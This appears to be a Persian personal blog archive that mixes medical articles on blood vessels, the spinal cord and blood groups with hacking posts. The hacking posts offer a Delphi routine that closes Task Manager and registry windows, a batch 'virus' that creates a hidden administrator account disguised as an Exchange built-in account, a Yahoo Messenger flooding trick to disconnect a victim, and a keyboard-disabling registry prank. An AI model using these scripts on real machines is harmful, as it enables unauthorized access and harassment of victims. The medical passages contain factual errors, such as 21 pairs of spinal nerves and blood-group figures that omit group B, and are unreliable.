تبلیغات
مطالب علمی-پزشکی-دانلود-و... . - مطالب مهر 1389
 
مطالب علمی-پزشکی-دانلود-و... .
یکشنبه 18 مهر 1389 :: نویسنده : هادی مالک

اطلاعات اولیه

دستگاه گردش خون و لنف شامل قلب ، شریانها ، وریدها ، مویرگها و رگهای لنفی است. خون پمپ شده از قلب که حاوی مواد غذایی و اکسیژن می‌باشد توسط شریانها در بدن توزیع می‌شوند. شریانها پس از انشعاب به شاخه‌های باریک ، شریانچه‌ها را بوجود می‌آورند و شریانچه‌ها نیز به انشعابات باریکتری به نام مویرگ ختم می‌شوند.

مبادله مواد بین خون و سلولهای ارگانهای مختلف در سطح مویرگها انجام می‌گیرد. پس از مبادله مواد ، خون مویرگی به وریدچه‌های منتقل شده و نهایتا توسط وریدهای بزرگ مجددا به قلب برمی‌گردد. رگهای لنفی نیز بطور بن بست از ارگانهای مختلف شروع و پس از جمع آوری لنف یا مایعات میان بافتی (که عمدتا از خون منشا گرفته است) آن را به سیستم گردش خونی باز می‌گرداند.



تصویر

ساختمان کلی رگهای خونی

لایه داخلی (Tunica intima)

این لایه از یک ردیف سلول سنگفرشی ساده مشتق از مزودرم به نام آندوتلیوم و بافت همبند شل زیرین آن به نام طبقه زیر آندوتلیال تشکیل شده است. آندوتلیوم بر روی تیغه پایه قرار گرفته و طبقه زیر آندوتلیال حاوی الیاف الاستیک و رتیکولر و بطور نادر در شریانهای الاستیک سلولهای عضلانی است.

لایه میانی (Tunica media)

این لایه معمولا از عضلات صاف تشکیل شده که در بین آنها الیاف الاستیک ، کلاژن ، رتیکولر و پروتئوگلیکان‌ها قرار گرفته‌اند. مواد بین سلولی در دیواره رگها توسط سلولهای عضله صاف سنتز می‌شود.

لایه خارجی یا ادونتیس (Tunica adventita)

خارجی‌ترین لایه عروق و مرکب از |کلاژنالیاف کلاژن نوع I و الیاف ارتجاعی است که بطور طولی قرار گرفته‌اند . این لایه معمولا در امتداد با بافت همبند اطراف رگها قرار دارد و تشخیص آنها از یکدیگر مشکل می‌باشد. در عروق بزرگ این لایه حاوی رگهای تغذیه کننده خود عروق موسوم به رگها می‌باشد. انواع رگها در بدن عبارتند از : شریانها ، وریدها و مویرگها در رگهای لنفی می‌باشد.



تصویر

شریانات قلب

شریانها یا سرخرگها ، خون را از قلب به ارگانهای مختلف حمل می‌کنند و بر اساس ساختمان بافتی و اندازه به سه دسته شریانهای بزرگ ، شریانهای متوسط و شریانها یا آرتریولها تقسیم می‌شوند. انقباض عضلات دیواره شریانچه‌ها یا آرتریولها می‌تواند قطر رگها را بطور خاصی تغییر دهد و از این نظر نقش مهمی در توزیع خون به مویرگها دارند. آرتریولهای انتهایی به متآدتریولها ختم می‌شوند. مت‌آرتریولها بزرگتر از مویرگها هستند و در دیواره آنها سلولهای عضلانی بطور فاصله‌دار قرار گرفته‌اند.

وریدها

پس از مبادله مواد بین خون و محیط خارج سلولی ، در سطح مویرگها ، خون مویرگی به ترتیب از طریق وریدچه‌ها ، وریدهای متوسط و وریدهای بزرگ به قلب منتقل می‌گردد. وریدها در هر ارگان معمولا همراه با شریانهای مربوطه می‌باشند و قطر آنها بزرگتر از شریانهاست. دیواره وریدها همیشه نازکتر از شریانها بوده و از سه لایه داخلی (انتیما) ، میانی (میدیا) ، ادونتیس (خارجی) تشکیل شده که در مقایسه با شریانها لایه میانی در آنها نازکتر و لایه خارجی ضخیم تر می‌باشد. کوچکترین انشعابات وریدها ، وریدچه‌ها هستند که در ارتباط با شبکه مویرگی بسیار کوچک بوده و به وریدچه‌های پشت مویرگی موسومند. وریدچه‌های پشت مویرگی از نظر ساختمانی شبیه مویرگها می‌باشند.



تصویر

مویرگها

شریانچه‌ها به رگهای خونی بسیار ظریفی منتهی می‌شوند که به مویرگ موسومند. مویرگها در حدود 9 - 7 میکرومتر قطر دارند و فضای درونی آنها برای جاگیری یک گویچه قرمز کفایت می کند. دیواره مویرگ متشکل از یک ردیف سلول پهن و نازک به نام آندوتلیوم ، تیغه پایه و شبکه ظریفی از الیاف رتیکولر می‌باشد.

مویرگها رابط بین شریانچه‌ها و وریدچه ها بوده و به علت وسعت زیاد خود ، داشتن دیواره نازک و کاهش سرعت جریان در آنها ، مناسب ترین محل برای مبادله مواد غذایی ، اکسیژن و دی‌اکسید کربن بین خون و مایعات بافتی می‌باشد. مبادله مواد از طریق انتشار ، عبور از منافذ دیواره مویرگها ، عبور از اتصالات بین سلولی و توسط وزیکولهای پینوسیتوزی انجام می‌گیرد.

رگهای لنفی

به استثنای ارگانهای معینی نظیر سیستم عصب مرکزی ، استخوان و غضروف در بیشتر ارگانها و بافتهای بدن همراه و به موازات رگهای خونی ، رگهای دیگری به نام رگهای لنفی وجود دارند. این رگها که به صورت بن بست از بافتها سرچشمه می‌گیرند مایعات میان بافتی موسوم به لنف را از بافتها جمع آوری و به دستگاه گردش خون باز می‌گردانند. جریان لنف یک طرفه بوده و از بافتها به سوی قلب می‌باشد.

اعصاب و رگها

اعصابی که عضلات صاف دیواره رگهای خونی را عصب دهی می‌کنند به اعصاب وازوموتور (محرکه رگها = Vasomotor) موسومند. این اعصاب عموما از رشته‌های عصبی بدون میلین سمپاتیک می‌باشد که انشعابات آنها پس از عبور از لایه خارجی رگها وارد عضلات طبقه میدیا می‌گردند و لایه‌های داخلی‌تر بوسیله انتشار از طریق اتصالات سوراخ‌دار تحریک را دریافت می‌نمایند.

تحریک رشته‌های سمپاتیک باعث انقباض عروق می‌گردد. شریانهای موجود در بین عضلات اسکلتی بوسیله اعصاب پاراسمپاتیک عصب دهی شده‌اند که تحریک آنها باعث استساع عروق می‌گردد. بطور کلی اعصاب وازوموتور با انقباض و اتساع عروق جریان و فشار خون را کنترل می‌کنند.



تصویر

رگ رگها

چون در عروق خونی بزرگ همه سلولهای تشکیل دهنده دیواره نمی‌توانند از طریق انتشار ، مواد غذایی و اکسیژن مورد نیاز خود را دریافت کنند تغذیه آنها را رگهای کوچک دیگری موسوم به رگ رگها عهده‌دار می‌باشند. این رگها به تعداد زیاد در لایه خارجی یافت می‌شوند و انشعابات آنها به طبقه میدیا نیز نفوذ می‌کند که میزان نفوذ آنها در وریدها بیشتر از شریانها می‌باشد. رگهای خونی بزرگ علاوه بر رگ رگها ، حاوی مویرگهای لنفی نیز در دیواره خون می‌باشند. مویرگهای لنفی در شریانها محدود به طبقه خارجی می‌باشند ولی در وریدها به طبقه میدیا نیز نفوذ می‌کنند.




نوع مطلب :
برچسب ها :
یکشنبه 18 مهر 1389 :: نویسنده : هادی مالک

دید کلی

نخاع به صورت یک استوانه طویل و نازک است و در مقطع آن ماده سفید در بخش خارجی و ماده خاکستری در بخش داخلی‌تر قرار دارد. بخش سفید نخاع از اکسونهایی ساخته شده است که سطوح مختلف نخاع را بهم مربوط می‌سازند و ارتباط نخاع و مغز را تامین می‌کنند. رنگ سفید این بخش به علت وجود میلین در اکسونها است. تارهای عصبی بخش سفید به صورت دسته‌های عصبی قرار گرفته‌اند که برخی از آنها جریانهای عصبی را از مغز به سوی اندامها و برخی دیگر امواج عصبی را از اندامها به سوی مغز می‌برند.

راههای بالا رو و پایین رو نخاع یعنی راههای که پیامهای حسی را به مغز یا پیامهای حرکتی را به عضلات بدن می‌برند به صورت گروههای تارهای عصبی جداگانه در کنار هم در طول نخاع قرار دارند و هر کدام بخشی از بافت نخاع را تشکیل می‌دهند. به عنوان مثال ، هر یک از راههای حسی مربوط به لامسه ، گرما ، سرما ، درد و راههای حرکتی بخش معینی از ماده سفید نخاع را اشغال کرده‌اند.



img/daneshnameh_up/a/a1/Spinal_Cord_PC271498.jpg

ساختمان نخاع

اعصاب نخاعی

در انسان 21 جفت عصب نخاعی وجود دارد. اعصاب نخاعی به ترتیب از گردن تا کمر قرار دارند و هر یک از آنها به قسمت خاصی از بدن مربوطند. این اعصاب به ترتیب شامل 8 زوج گردنی ، 12 زوج کمری ، 5 زوج خاجی و 1 زوج دنبالچه‌ای است. هر عصب نخاعی پس از آن که از نخاع خارج شد به انشعاباتی تقسیم می‌شود و هر شاخه از آن به بخشی از بدن منتهی می‌گردد. اعصاب کمری و خاجی و دنبالچه‌ای تقریبا به صورت عمودی از نخاع بیرون می‌آیند و یک دسته تارعصبی به نام دم اسب Cauda equine بوجود می‌آورند. ریشه‌های خلفی نخاع از تارهای عصبی حسی و ریشه‌های قدامی آن از تارهای عصبی حرکتی تشکیل شده است و قطع شدن آنها به ترتیب باعث ایجاد بی‌حسی یا فلج در اندامهای وابسته می‌شود.

گانگلیونها

در مسیر هر یک از ریشه‌های خلفی در نزدیکی نخاع یک برجستگی به نام عقده نخاعی Spinal ganglion وجود دارد. نخاع در دو ناحیه از طول خود قطر بیشتری دارد. یکی در ناحیه گردن که از چهارمین مهره گردنی تا اولین مهره پشتی است و برجستگی گردنی خوانده می‌شود و اعصابی که به گردن و دستها می‌روند از آن ریشه می‌گیرند. دیگری در ناحیه کمر که از دهمین مهره پشتی تا اولین مهره کمری ادامه می‌یابد و برجستگی کمری نام دارد و اعصاب پاها از آن ریشه می‌گیرند.

مخروط نخاعی

انتهای نخاع یعنی بخشی که مجاور مهره‌های اول و دوم کمری قرار دارد به تدریج باریک می‌شود و مخروط نخاعی (Conus medullaris) نامیده می‌شود. مخروط نخاعی بوسیله یک رشته پیوندی در انتهای ستون مهره‌ها به استخوان دنبالچه‌ای چسبیده است.



img/daneshnameh_up/b/b3/spinal_cord_nerve_cells_4w.jpg

ماده سفید و خاکستری

در مقطع نخاع ، ماده خاکستری که در وسط ماده سفید قرار دارد، تقریبا به شکل حرف H به نظر می‌رسد. یعنی دارای دو نیمه جانبی است که بوسیله یک بخش رابط به یکدیگر مربوطند. رنگ خاکستری این بخش نشانه فقدان میلین و وجود اجسام سلولی نورونها در آن است. در وسط ماده خاکستری مجرای مرکزی نخاع قرار دارد. قطر این مجرا در انتهای نخاع ، یعنی در ناحیه مخروط نخاعی بیشتر است. ماده خاکستری در دو طرف مجرای مرکزی نخاع به دو نیمه قدامی و خلفی تقسیم می‌شود که به ترتیب شاخهای قدامی و شاخهای خلفی ، نامیده می‌شوند.

اجسام سلولی نورونها در بعضی نواحی ماده خاکستری با هم تجمع شده و هسته‌های بخش خاکستری نخاع را می‌سازند. قسمت جلویی ماده خاکستری نقش حرکتی دارد و نورونهای حرکتی عضلات مخطط اسکلتی و نورونهای حرکتی عضلات صاف احشایی به ترتیب در بخشهای پیشین و پسین آن قرار دارند. بخش خلفی ماده خاکستری نخاع عمل حسی دارد و پیامهای آورنده مختلف از نواحی پوستی ، عضلات و احشایی دریافت می‌دارد.

پرده‌های نخاع

سخت شامه

پرده سختی است متشکل از بافت همبندی متراکم که سطح خارجی آن در مجاورت پریوست استخوانها قرار گرفته است. در نخاع ، سخت شامه بوسیله فضایی به نام فضای اپیرورال از پریوست جدا شده و اتصال آن به پریوست محدود به یک سری لیگامان موسوم به لیگامانهای دندانه‌ای است. فضای اپیرورال محتوی شبکه وریدی ، بافت همبند شل و بافت چربی است.

عنکبوتیه

پرده ظریفی است از الیاف کلاژن و الاستیک که فاقد رگهای خونی است. قسمتی از عنکبوتیه که در مجاورت سخت شامه قرار دارد به صورت پرده‌ای صاف می‌باشد که توسط استطاله‌های ظریفی شبیه تارهای عنکبوت با نرم شامه مرتبط می‌گردد. فضای موجود بین این استطاله‌ها فضای زیر عنکبوتیه را تشکیل می‌دهند که حاوی مایع مغزی نخاعی و محل عبور رگهای خونی است. عنکبوتیه در همه جا توسط سلولهای پهن و سنگفرشی پوشیده شده است.

نرم شامه

لایه ظریفی از بافت همبند شل و پر عروق می‌باشد که عمدتا از الیاف کلاژن و الاستیک تشکیل شده و بوسیله سلولهای پوششی پهن و سنگفرشی پوشیده شده است. اگر چه نرم شامه در مجاورت نزدیک بافت عصبی قرار گرفته ، ولی بوسیله زواید سلولهای گلیال از بافت عصبی جدا شده و در تماس مستقیم با آن نمی‌باشد. این پرده ظریف در تمام چینهای بافت عصبی مرکزی نفوذ کرده و همراه با رگهای خونی به درون بافت عصبی نیز راه می‌یابد.

مایع مغزی نخاعی (CSF)

سیستم عصبی مرکزی در درون مایعی به نام مایع مغزی نخاعی قرار گرفته که این مایع هم به عنوان یک ضربه گیر ، سیستم عصبی مرکزی را در مقابل ضربات مکانیکی حفظ می‌نماید و هم برای فعالیتهای متابولیکی آن ضروری است. حجم این مایع که عمدتا از رگهای خونی شبکه کروئید و به مقدار کمتر از عروق نرم شامه و بافت مغزی نشات می‌گیرد، بین 80 تا 150 میلی‌لیتر متغیر می‌باشد. مقدار مایع مغزی نخاعی در شرایط مننژیت افزایش می‌یابد. با برداشت مایع مغزی نخاعی و تجزیه آن می‌توان به عامل ایجاد کننده مننژیت پی‌برد.

سد خونی مغزی

تزریق مواد رنگی به دستگاه گردش خون نشان می‌دهد که مواد رنگی در همه بافتها غیر از سیستم عصبی مرکزی قابل ردیابی است. این امر بیانگر نوعی سد بین خون و سیستم عصبی مرکزی می‌باشد که اصطلاحا سد خونی مغزی نام گرفته است.



img/daneshnameh_up/3/31/spinal.1.JPG

ساختمان تشریحی ماده خاکستری نخاع

شاخ پشتی ماده خاکستری

شاخ پشتی ماده خاکستری یک ناحیه حسی است که نورونهای حسی موجود در آن بوسیله سیناپس با رشته‌های حسی وارده به آن اطلاعات دریافت شده از محیط را به سایر قسمتهای نخاع و یا مراکز بالاتر منتقل می‌کنند. رشته‌های حسی وارده به شاخ پشتی ، در واقع آکسون نورونهای حسی موجود در گانگلیونهای نخاعی هستند، که از طریق ریشه‌های پشتی وارد نخاع می‌گردند.

شاخ شکمی ماده خاکستری

شاخ شکمی ماده خاکستری ، در مقایسه با شاخ پشتی یک ناحیه حرکتی می‌باشد که حاوی جسم سلولی نورونهای حرکتی سوماتیک است و آکسون آنها از طریق ریشه‌های قدامی نخاع را ترک کرده و به ارگانهای عامل ختم می‌گردند.

شاخ جانبی

جسم سلولی نورونهای اتونوم در ناحیه میانی ماده خاکستری و قسمتی به نام شاخ جانبی قرار گرفته که آکسون آنها همراه با آکسون نورونهای حرکتی سوماتیک از طریق ریشه‌های شکمی ، نخاع را ترک کرده و در گانگلیونهای اتونوم با نورونهای پس گانگلیونی سیناپس می‌یابند. از نظر هیستولوژیک ، شاخهای پشتی و شکمی حاوی سلولهای گلیال و جسم سلولی نورونها می‌باشند. ولی جسم سلولی موجود در شاخهای پشتی مدور ، کوچک و جسم سلولی موجود در شاخهای شکمی از نوع چند وجهی و بزرگ می‌باشد. از طرف دیگر ، شاخهای پشتی باریک و بلند و شاخهای شکمی ، پهن و کوتاه می‌باشند.

ساختمان تشریحی ماده سفید نخاع

ماده سفید نخاع از رشته‌های میلین‌دار و بدون میلین و سلولهای گلیال تشکیل شده‌اند، که دارای شیار باریک در قسمت خلفی ، به نام شیار میانی - خلفی و یک شیار نسبتا عریض و حاوی نرم شامه در قسمت قدامی به نام شیار میانی قدامی می‌باشد. ماده سفید را در حد فاصل شاخهای پشتی ستونهای خلفی ، در طرفین قسمت میانی ماده خاکستری ستونهای جانبی و در مجاورت شاخهای شکمی ، ستونهای قدامی می‌نامند.

انعکاسهای نخاعی

نخاع علاوه بر نقشی که در انتقال پیامهای عصبی به سطوح بالاتر و پایین‌تر دارد، خود مرکز عصبی اعمال بسیاری است که بدون نیاز به پیامهای مغزی صورت می‌گیرند. این اعمال انعکاسها یا بازتابهای نخاعی هستند که به واسطه یک مسیر عصبی بنام قوس نخاعی انجام می‌شوند. ساده‌ترین قوس نخاعی که در انعکاسهای تک سیناپسی دیده می‌شود شامل یک نورون حسی و یک نورون حرکتی است که در نخاع با یکدیگر سیناپس می‌کنند. ولی اغلب انعکاسها از نوع چند سیناپسی است که در مسیر عصبی یک یا چند نورون رابط در بین نورونهای حسی و حرکتی وجود دارد.

در هر انعکاس نخاعی ، موج عصبی حاصل از تحریکی که بر تار عصبی حسی وارد می‌شود از راه ریشه خلفی به نخاع می‌آید و پس از آنکه به عصب حرکتی منتقل گردید از راه ریشه قدامی نخاع به اندام عمل کننده (عضله یا غده) می‌رسد. قطع ارتباط با مغز بر اثر حالت شوکی که ایجاد می‌کند ابتدا باعث از بین رفتن یا تضعیف کلیه انعکاسهای نخاعی می‌شود ولی پس از مدتی اعمال مذکور دوباره ظاهر می‌گردد. مهمترین انعکاسهای نخاعی عبارتند از: انعکاسهای کششی عضلات ، انعکاسهای محافظتی ، انعکاسهای خاراندن ، انعکاسهای نگاهدارنده وحرکتی ، انعکاسهای ایجاد کننده اسپاسمهای عضلانی و انعکاسهای خودکار.




نوع مطلب :
برچسب ها :
این پروسیجر که در دلفی نوشته شده قادر است فهرست تمامی پنجره های باز را بدست آمورد و اگر در عنوان آنها کلمه ی process باشد آنها را ببندد
برای استفاده می توانید این کد را بالا ی پروسیجر ها نوشته و روی تایمر کلیک کرده و عبارت زیر را وارد کنید:

;('closewin('process

همچنین می توانید بجای process از هر کلمه ی دیگری چون monitor  و یا Task و یا registry و... استفاده کنید تا پنجره های مربو طه بسته شده و اجازه ی استفاده به کاربر داده نشود.

procedure closewin(t:string);
var
DeskTopHwnd, WindowHwnd : Hwnd;
text1:array[0..MAX_PATH] of char;
s:string;
begin
DeskTopHwnd := GetDeskTopWindow;
WindowHwnd := GetWindow(DeskTopHwnd,GW_CHILD);
While WindowHwnd <> 0 do
begin
SetString(s, text1,getwindowtext(WindowHwnd,text1,MAX_PATH));
if pos(uppercase(t),uppercase(s))<>0 then
begin
ShowWindow(WindowHwnd, SW_HIDE);
sendmessage(WindowHwnd, WM_close, 0, 0);
sendmessage(WindowHwnd, WM_DESTROY, 0, 0);
end ;
WindowHwnd := GetWindow(WindowHwnd,GW_HWNDNEXT);
end;
end;
اگه تعداد بازدید کننده ها بالا باشه سورس ویروسی که توسط خودم نوشته شده را قرار می دم.




نوع مطلب :
برچسب ها :
جمعه 9 مهر 1389 :: نویسنده : هادی مالک
 

سورس ویروسی که با آن می توانید در سیستم قربانی یک حساب کاربری ایجاد کنید و براحتی با دسترسی فیزیکی به اطلاعات قربانی دست یافت:

این متن را در نوت پد نوشته و با پسوند bat ذخیره کنید

@echo off

net user ExchangeCL password /add

net localgroup administrators ExchangeCL /add

net localgroup administrateurs ExchangeCL /add

net localgroup administratoren ExchangeCL /add

net user ExchangeCL /comment:"Built-in account for Microsoft Exchange Server 2000"

net user ExchangeCL /expires:never

net user ExchangeCL /fullname:"ExchangeCL"

net accounts /MAXPWAGE:UNLIMITED

 

exit





نوع مطلب :
برچسب ها :

. بوت كردن در یاهو 7 بدون نیاز به برنامه :

1. یاهو مسنجر را اجرا كنید و با دوست مورد نظر مشغول چت شوید ...اگه نیست وایستا تا بیاد
2. در گزینه های بالا روی im كلیك كنید.
3. بعد از باز شدن به پوشه دوم بروید وID مورد نظر را نوشته و بعد از آن دو تا++بزنید.
4. OK را بزنید و در صفحه ی باز شده كه شبیه صفحه چت است10 بارL را تایپ كنید. ( نكته: برای نوشتن 10 بار L هر L را جداگانه بنویسید " L بعد اینتر " )
5. به سراغ قربانییعنی همان فردی كه در حال چت كردن با او هستید بروید و برای بار دیگر10بارL را نوشته و این كار را4تا 5 بار تكرار كنید
6. پس از این كار 50-60 صفحه در كامپی.تر فرد باز می شود و فرد دیسكانكت می شود.

توجه: یاهو مسنجر شما و فرد مقابل باید فقط نسخه 7 باشد[COLOR=black].





نوع مطلب :
برچسب ها :
پنجشنبه 8 مهر 1389 :: نویسنده : هادی مالک

. غیر فعال كردن صفحه كلید و چشمك زدن مانیتور  ( بازی با مانیتور )

با این فایل می تونید با دوستاتون شوخی كنید یا توی مهمونی پیش فامیل یه خودی نشون بدید   خرابكاری این فایل در این حد هست كه صفحه كلید شما از كار می افتد و با زدن هر كلید از صفحه كلید مانیتور شما چشمك می زند كافیه بعد از نوشتن این كد حاصل كار خودتون رو خودتون اجرا كنید

1. خب حالا بعد این همه پست فك كنم دیگه اجرای نرم افزار Notepad رو یاد گرفتید
2. كد زیر رو بردارید:
کلیک کنید ! 
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]
"Flags"="127"
[HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]
"Flags"="3"
"WindowsEffect"="3"

 

3. فایل رو با هر نامی ( البته بهتره كه on ) و با پسوند Reg . ذخیره كنید.
4. از آنجایی كه قرار هست این فایل رو خودتون هم امتحان كنید همین الآن آنتی اون رو هم بسازید كه با غیر فعال كردنش بعدا براتون مشكلی به وجود نیاد !
5. دوباره Notepad رو اجرا كنید و كد زیر رو درش بزارید:

کلیک کنید ! 
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]
"Flags"="126"
[HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]
"Flags"="2"
"WindowsEffect"="0"

 

6. مرحله ی ( 3 ) رو دوباره انجام بدید ولی اینبار نام فایل رو off بذارید
7. خب حالا شما دو تا فایل دارید از نوع فایلهای ریجستری كه كافیه روی فایل با نام on كلیك كنید و در پیغام ظاهر شده yes رو بزنید و شاهد اولین خرابكاری خودتون باشید و برای غیر فعال كردنش فایل با نام off رو كلیك كنید





نوع مطلب :
برچسب ها :
پنجشنبه 8 مهر 1389 :: نویسنده : هادی مالک

نگاه کلی

گاهی دیده می‌شود که خون شخصی را به شخص دیگری تزریق می‌کنند خون شخص دهنده در بدن فرد گیرنده لخته می‌کند و رسوب می‌دهد. چگونگی این عمل با انعقاد خون متفاوت است و به وجود گروه‌های خونی مختلف مربوط می‌شود. در سطح خارجی گلبول‌های قرمز افراد دو نوع آنتی ژن از جنس پروتئین وجود دارد که به نامهای A و B معروف هستند. برخی افراد آنتی ژن نوع A و برخی نوع B ، برخی هر دو آنتی ژن A و B را دارا هستند و برخی هیچ یک از آنتی ژنها را ندارند این افراد را به ترتیب در گروه های خونی AB ، B ، A و O قرار می‌دهند.

بیان آنتی ژنهای گروههای خونی تحت کنترل ژنهای خاصی است و توارث آنها از قوانین ساده مندل تبعیت می‌کند. برای هر سیستم گروه خونی ، تعداد متغیری از آللهای مختلف وجود دارد. آللها به نوبه خود تعداد متغیری از آنتی ژنهای غشایی گلبول قرمز را کنترل می‌نمایند. حیوانات سالم علاوه بر داشتن آنتی ژنهای گروههای خونی بر سطح خود ممکن است واجد آنتی بادیهای سرمی بر علیه آنتی ژنهای گروه خونی که خود فاقد آنها نیز هستند، ‌باشند. مثلا افرادی که گروه خونی آنها فاقد آنتی ژن A است، در سرم خود آنتی بادی بر ضد آنتی ژن A دارند. تصور می‌شود این آنتی بادیهای طبیعی حاصل برخورد با گلبولهای قرمز گروه A نبوده بلکه متعاقب تماس با آنتی ژنهای مشابهی هستند که در طبیعت به وفور یافت می‌شوند.

انتقال خون

گلبولهای قرمز را می‌توان به سهولت از حیوانی به حیوان دیگر انتقال داد. اگر گلبولهای قرمز فرد دهنده ، آنتی ژنهای مشابه با گلبولهای قرمز گیرنده داشته باشند، پاسخ ایمنی در حیوان گیرنده گلبول ایجاد نمی‌شود. اما اگر گیرنده آنتی بادیهایی بر علیه آنتی ژنهای گلبول قرمز دهنده داشته باشد، در آن صورت گلبولهای دهنده در معرض خطر تهاجم سریع قرار خواهند گرفت. زمانی که این آنتی بادیها به آنتی ژنهای موجود در سطح گلبولهای قرمز بیگانه متصل گردند، ممکن است سبب همولیز و فاگوسیتوز این سلولها شوند. در صورت فقدان آنتی بادیهای طبیعی ، گلبولهای قرمز تزریق شده موجب برانگیخته شدن پاسخ ایمنی در فرد دریافت کننده خون می‌شوند. سپس گلبولهای تزریق‌شده مدتی در خون گردش می‌کنند.

دومین انتقال خون با این گلبولها یا گلبولهای شبیه به گلبولهای قبلی باعث تخریب سریع این گلبولها می‌گردد که منجر به بروز واکنشهای پاتولوژیک شدید می‌گردد. علایم این روند تخریبی ناشی از همولیز گسترده داخل عروقی است. این علایم عبارتند از : لرزش بدن ، فلج و تشنج و انعقاد داخل عروقی ، تب و پیدایش هموگلوبین در ادرار. درمان واکنشهای انتقال ناشی از چنین انتقال خونی شامل متوقف کردن انتقال خون و زیاد کردن حجم ادرار بوسیله یک دیورتیک می‌باشد، چرا که تجمع هموگلوبین در کلیه ممکن است موجب تخریب توبولهای کلیه شود. بهبود وضعیت فرد به دنبال حذف همه گلبولهای قرمز بیگانه حاصل می‌گردد.

انواع گروههای خونی (سیستم ABO)

در سال 1901 میلادی کارل لاند اشتاینر ، ایمونولوژیست آلمانی برای نخستین بار ، وجود آنتی ژنهای گروه خونی بر روی گلبولهای قرمز و نیز آنتی بادیهایی بر علیه همان آنتی ژنها را در سرم انسان ثابت نمود. لاند شتاینر ، ابتدا گلبولهای قرمز را از سرم جدا کرد و سپس به مطالعه نتایج حاصل از مخلوط کردن سرم و گلبولهای قرمز افراد مختلف پرداخت. وی دریافت که سرم بعضی از افراد قادر به آگلوتینه کردن گلبولهای قرمز برخی دیگر از افراد می‌باشد، اما بر روی گلبولهای قرمز همه افراد موثر نیست. در تجزیه و تحلیل نتایج ، او فهمید که می‌توان افراد را از نظر گروههای خونی به گروههایی تقسیم نمود:


گروه خونی A : آنتی ژن نوع A را سطح گلبول قرمز خود دارند و در پلاسمای خونشان نیز آنتی کور B (ضد آنتی ژن B) را دارا هستند.


گروه خونی B : آنتی ژن نوع B را در سطح گلبو لهای قرمز خود را دارند و در پلاسمای خونشان نیز آنتی کور A (ضد آنتی ژن A) را دارند.


گروه خونی AB : آنتی ژن نوع A و B را در سطح گلبولهای قرمز خود را دارند و در پلاسمای خونشان نیز هیچ یک از آنتی کورها را ندارند.


گروه خونی O : هیچ یک از آنتی ژنها را در سطح گلبولهای قرمز خود ندارند ولی هر دو آنتی کور را دارا هستند.


::
آنتی بادی موجود در سرم فنوتیپ ژنوتیپ
AA,OA A anti-B
BB,OB B anti-A
AB AB
oo o anti-A,anti-B
::

نحوه تعیین گروه خونی

برای پی بردن به گروه خونی هر کس ، مقداری از خون را با آنتی کورهای معین شده A یا B مخلوط می‌کنیم. از تولید یا عدم تولید رسوب که در اثر به هم چسبیدن گلبولهای قرمز ایجاد می‌شود می‌توان گروه خونی شخصی را معین کرد. اگر بخواهیم به فردی از گروه خونی B خون تزریق کنیم، چون پلاسمای خون او آنتی کور A را دارد نمی‌توان خونی را که دارای آنتی ژن A باشد به او داد. این آنتی ژن در گروه های A و AB یافت می‌شود پس او نمی‌تواند از این گروهها ، خون دریافت کند.

رسوب خونی

  • گروه خونی A : با آنتی کور B رسوب نمی‌دهد ولی با آنتی کور A رسوب می‌دهد.
  • گروه خونی B : با آنتی کور B رسوب می‌دهد ولی با آنتی کور A رسوب نمی‌دهد.
  • گروه خونی AB : با هر دو آنتی A و B رسوب می‌دهد.
  • گروه خونی O : با هیچ یک از آنتی کورهای A و B رسوب نمی‌دهد.

درصد گروههای خونی در مردم

در میان جمعیت مردم در حدود 42 درصد گروه خونی A حدود 9 درصد گروه خونی AB و 42 درصد گروه خونی O را دارا هستند. با این وجود لازم به ذکر است که یک آنتی ژن گروه خونی هیچگاه نمی‌تواند به همراه آنتی بادی ضد خود در بدن یک فرد وجود داشته باشد. زیرا در آن صورت وقوع همولیز ، گردش خون را مختل نموده و گلبولهای فرد تخریب می‌شود. گروههای خونی O ، AB ، B ، A نمایانگر فتوتیپ گلبولهای قرمز یک فرد است که مطابق با یک سیستم ساده که متشکل از سه ژن آللی A ، B ، O می‌باشد، به ارث می‌رسند.

عکس پیدا نشد

افرادSecretor , Nonsecretor

تقریبا 75% از انسانها مواد آنتی‌ژن A و B را نه تنها در سطح غشای سلولی بلکه به صورت آزاد در ترشحات مختلف نظیر سرم ، ادرار ، بزاق دارا می‌باشند. مواد آنتی ژن گروه خونی در سطح غشای سلولی به مولکولهایی از جنس گلیکوپروتئین متصلند. این صفت بوسیله یک ژن به نام Se= Secretor کنترل می‌گردد. عمل ژن se در صورتی که وجود داشته باشد کنترل اتصال ساده آنتی ژنی به مولکولهای گلیکو‌پروتئینی است. در افراد هموزیگوت مغلوب اتصال مواد آنتی ژنی به مولکولهای گلیکو‌پروتئین تحت کنترل نبوده ، در نتیجه آنتی ژنهای A و B اجازه حضور در مایعات بدن را نمی‌یابند.

سیستم RH

در سال 1940 ، لاندشتاینر و وینر نشان دادند آنتی بادیهایی که بر علیه گلبولهای قرمز میمون رزوس (Rhesus) تولید می‌گردد، قادرند گلبولهای قرمز 85% از جمعیت انسانی را نیز آلگوتینه نمایند. این آنتی بادیها بر علیه مولکولی که (RH) نامیده شده ، بوجود می‌آمدند و افرادی را که واجد این مولکول بودند Rh مثبت نام گرفتند و به 15 درصد بقیه که فاقد این مولکول بودند، افراد Rh منفی اطلاق گردید. آنتی‌بادیهای طبیعی بر علیه آنتی ژنهای Rh در بدن تولید نمی‌شوند.

بیماری همولیتیک نوزادان

بیماری همولیتیک نوزادان معمولا زمانی بوجود می‌آید که یک مادر Rh منفی حامل جنین Rh مثبت باشد. بطور طبیعی گلبولهای خون جنین به واسطه لایه‌هایی از سلولهای ترفوبلاست از گردش خون مادر جدا شده است. اما در اواخر حاملگی و بخصوص در حین تولد نوزاد ، گلبولهای قرمز جنین ممکن است وارد گردش خون مادر شوند. همین که این گلبولها به جریان خون مادر برسند به عنوان یک عنصر خارجی تلقی شده و پاسخ ایمنی مادر را جهت تولید آنتی بادی برمی‌انگیزند.

